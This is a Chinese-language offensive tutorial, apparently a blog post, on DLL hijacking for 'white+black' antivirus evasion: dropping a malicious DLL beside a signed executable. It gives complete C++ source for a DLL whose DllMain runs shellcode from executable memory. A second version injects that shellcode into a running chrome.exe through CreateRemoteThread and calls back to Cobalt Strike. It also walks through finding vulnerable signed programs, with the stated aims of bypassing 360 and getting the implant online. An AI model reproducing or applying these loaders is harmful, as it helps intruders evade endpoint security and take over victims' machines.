1. DLL 文件介绍

DLL 为动态链接库文件,在 Windows 中,许多应用程序不会是一个完整的可执行文件,而是被分割成一些相对独立的动态链接库—— dll 文件。
在 Windows 平台下,很多应用程序的功能,都得调用窗口、调用内存管理的模块来分配内存、得调用 io 模块去进行文件操作、读取文件等等,这些模块的具体表现就是 dll 文件。(DLL 劫持是绕过UAC、以及内网提权一个不错的方法,但本文分享的内容是白+黑免杀的实现思路
Windows 操作系统通过“ DLL 路径搜索目录顺序”和“ Know DLLs 注册表项”的机制来确定应用程序所要调用的 DLL 的路径,之后,应用程序就将 DLL 载入自己的内存空间,执行相应的程序功能。(好,这里会不会出现一个问题,如果加载的 DLL 是我们可控的,是不是可以让一个白程序载入上我们的黑 DLL?)

2. DLL 路径搜索顺序

这里我会下意识联想到 DNS ,同样是存在搜索顺序的问题,同样存在 DNS 劫持攻击的出现
我还是觉得这张图片最形象

(1)已经加载进内存中的 DLL
(2)Known DLLs(这一项后面单独讲解)
(3)程序所在目录—— DLL 劫持的关键
(4)系统目录 System32(16-bit System directory 目前已经不流行了,不必理会)
(5)Windows 目录
(6)程序加载目录(简言之就是你在哪个目录打开的 cmd 去运行程序,这个目录就是所谓的程序加载目录)
(7)PATH 环境变量中列出的目录

当一个程序按以上所有顺序搜索下来还没有找到目标 dll 的时候,就会回显 NAME NOT FOUND(这里抛出一个疑问,如果发生这个事件,你的程序有没有加载这个 dll 的动向呢?)

3. Known DLLs 是什么

微软为了防御 DLL 劫持设置了一个规则,将一些容易被劫持的 DLL 写进了注册表里,凡是此项下的 DLL 文件都会被禁止从 exe 本身所在目录下调用,只能先从 SYSTEM32 目录下调用
(这里的话,建议看见是微软的dll就直接提裤子跑路得了,先不说 Known DLLs,当微软的 dll 在目标微软的环境下被劫持加载,微软是吃干饭的?当然只是被杀的可能性增加,主要是白程序根本不缺,没必要非往铁杆子上碰一手)
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

这些系统 DLL 就别想了,这里也解释一下上面 DLL 路径搜索顺序中的 Known DLLs 其实是一个抽象的,并不是说它的搜索在程序所在目录之前,而是说被划定为 Known DLLs 的 DLL 文件规定先去 SYSTEM32 目录下找,而不是程序所在目录

4. DLL 劫持免杀的优势

dll劫持挖掘的成本是很低的,有大量的目标让我们实现,并且利用速度快,白+黑也是 bypass 360 非常常用的手法。

5. DLL 劫持的挖掘

(1)从我们的电脑上找出一个带有数字签名的白文件(建议找一位设计师的电脑来挖掘)注意把选定的白 exe 拷贝出所在目录,不然运行时它如果还有加载它当前目录下的其他dll我们也不知道,从而导致 exe 转移主机后无法执行的情况

(2)这里我用到应该是 Java 中一个白文件做演示(具体如何找到的在文章末尾会讲到) 一定一定一定要有合法的数字签名

(3)好,打开 Process Monitor 我们添加三个筛选条件

逐条解释一下是什么意思:

Path contains "dll" ——就是说我们的目标是dll,其他乱七八糟的后缀我们不需要,就过滤掉;

Results contains "NAME NOT FOUND" ——这是我们容易进行 dll 劫持的关键,"NAME NOT FOUND" 是存在dll未加载成功的情况(没找到指定的一个 dll),表明 exe 确实去加载了这个dll,所以我们凭借此来做黑 dll 让它加载;

Process Name is <kinit.exe> ——这就是我们自定义的白文件了,要日哪个文件就换成哪个就阔以。

(4)接下来我们就让这个 kinit.exe 运行加载一下看看效果

结合我们前文的分析,这里出现的 dll 都有可能去被进行 dll 劫持利用的,不再赘述其原理。

6. DLL 劫持手法

(1)vs 起一个动态链接库项目,关键在于这几行小代码

这里实现在 dll 被加载的时候打开计算器,接下来直接编译就行了

(2)改个名,改成 exe 所要载入的dll的名称,主打的就是欺骗

这里我把 kinit.exe 和 dll 拿出来放在同一个文件夹中,如果这里不理解为什么建议重新看一遍开头 DLL 路径搜索顺序哦~

(3)那么接下来运行,见证奇迹的时候到了!

好家伙,现在可以看到其实是直接就差启动了,有些程序会提示缺少某个 dll,缺少时就找到 exe 所在源目录把缺少的 dll 一起放进当前文件夹就 ok(这也是为什么我把kinit.exe单独拿出来),所以是为什么无法启动呢?

原因是 exe 文件默认会使用 dll 文件中的某些函数,而我们目前没有声明导出函数,接下来思路也很清晰了,就是把导出函数加上去

(4)这里用到 vs 命令行的 dumpbin 工具来查看目标 exe 的导出函数(这也是后面所介绍的自动化挖掘工具所用到的核心之一)

dumpbin /imports <白exe路径>

那么运行结果就看到它需要 jli.dll 里这么六个函数,很显然我们是并没有声明的。

(5)声明一条函数也非常简单,代码如下

extern "C" __declspec(dllexport) int xxx() {
     return 0;
    }

我们在项目内声明好每个函数

然后这次编译生成 dll 就没问题了

你电脑弹计算器咯

6. DLL 劫持利用

(1)白+黑这里通常会使用 shellcode 的手法,注入 dll,让白 exe 带动黑 dll,执行我们注入进黑 dll 中的恶意代码!

(2)另起一个项目,一种方法是当前白文件直接加载灰进程加载 shellcode

#include "pch.h"
#include <windows.h>
 
// 导出函数
extern "C" __declspec(dllexport) int xxx() {
    return 0;
}
 
void LoadShellCode() {
    unsigned char buf[] = "ShellCode";
 
    void* p = VirtualAlloc(NULL, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(p, buf, sizeof buf);
 
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)p, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
}
 
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH: // DLL 被加载时调用
        LoadShellCode();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

(3)对于 windows 来说,白文件虽然有数字签名,降低被杀的概率,但其运行带动起来的进程仍然是一个灰进程(原计算机上所没有的),所以我们可以使用到一种进程转移的技术,进行远程线程注入,让目标主机正在运行的程序执行了我们的 shellcode,可以联想一下 cs 的进程注入,msf 的进程迁移!

#include "pch.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <TlHelp32.h>

// 导出函数
extern "C" __declspec(dllexport) int xxx() {
    return 0;
}

BOOL WINAPI MyCreateRemoteThread(DWORD dwProcessId) {
    HANDLE hProcess = NULL;
    DWORD dwThreadId = 0;
    HANDLE hThread = NULL;
    LPVOID IPmemory = 0;
    unsigned char buf[] = "ShellCode";

    //打开进程
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (hProcess == NULL) {
        printf("%d\n", GetLastError());
        return FALSE;
    }
    //申请内存
    IPmemory = VirtualAllocEx(hProcess, 0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    //写入内存
    WriteProcessMemory(hProcess, IPmemory, buf, sizeof(buf), NULL);
    //创建线程
    hThread = CreateRemoteThread(
        hProcess,
        NULL,
        NULL,
        (LPTHREAD_START_ROUTINE)IPmemory,
        NULL,
        NULL,
        &dwThreadId
    );
    WaitForSingleObject(hThread, 0);
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return TRUE;
}

int ThreadInject() {
    //遍历进程获取指定进程id
    HANDLE hProcessSnap = NULL;
    BOOL bRet = FALSE;
    PROCESSENTRY32 pe32 = { 0 };
    DWORD dwProcessId;
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (hProcessSnap != INVALID_HANDLE_VALUE) {
        bRet = Process32First(hProcessSnap, &pe32);
        while (bRet) {
            if (!_wcsicmp(pe32.szExeFile, L"chrome.exe")) {
                dwProcessId = pe32.th32ProcessID;
                break;
            }
            bRet = Process32Next(hProcessSnap, &pe32);
        }
    }
    //远线程注入函数调用
    MyCreateRemoteThread(dwProcessId);
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH: // DLL 被加载时调用
        ThreadInject();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

(4)生成好黑dll之后,和前面命令执行的操作一样;
就是注意代码,我这里是注入到白进程 chrome.exe

(当然前提是目标机的 chrome 要处于开启状态,这个白进程一定自主选择后编译生成,这边注入firefox.exe 我也有试过但没成功,不必拘泥于此,找到能注入的就行了)

运行一手

(5)成功上线 CS,且可以看到是通过 chrome.exe 进程

那么 dll 劫持白+黑的利用到这里就结束了,实战效果再看你 shellcode 免杀做的好不好了。

7. 白程序 DLL 劫持的挖掘

(1)写一个 py 脚本来实现

(2)这里推荐一下SkyShadow项目,一键挖掘整个磁盘下可dll劫持的白程序:https://github.com/dragoneeg/bDLL
该脚本会遍历文件夹下所有的 EXE,并将其导入表中的 DLL 名称与所收集的微软 DLL 进行对比,如果包含非微软 DLL,就将 EXE 信息和 Payload 生成到 Payload 文件夹中。